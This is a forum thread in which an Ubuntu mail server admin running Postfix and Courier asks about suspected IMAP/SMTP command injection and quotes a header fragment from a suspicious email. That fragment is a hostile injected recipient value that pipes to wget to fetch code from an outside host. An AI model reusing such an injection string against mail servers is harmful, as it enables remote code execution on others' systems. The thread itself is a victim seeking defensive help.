I am running Postfix and some Courier services to send and receive email on my Ubuntu server. Lately, I've been getting these strange emails which at first I thought were just spam. I googled some parts of one I got today and found out it could mean I'm being attacked using a technique apparently called Arbitrary IMAP/SMTP Command Injection. After a while of searching, I was not able to find any way to prevent future attacks or even confirm that I am vulnerable.

Can anyone offer some advice?

Sure!

I'd advise you to post the output of postconf -n, some headers and log snippets that cause you to suspect you've had an injection, and maybe something past "I did some googling and found the following ill defined suggestion" as a problem report.

The 'for <"root+:|wget http://fortunes.in/x1x.php">;' is what I Googled around for, which led me to an article about the attack. Any better? Sorry, I just have no clue where to start with this...
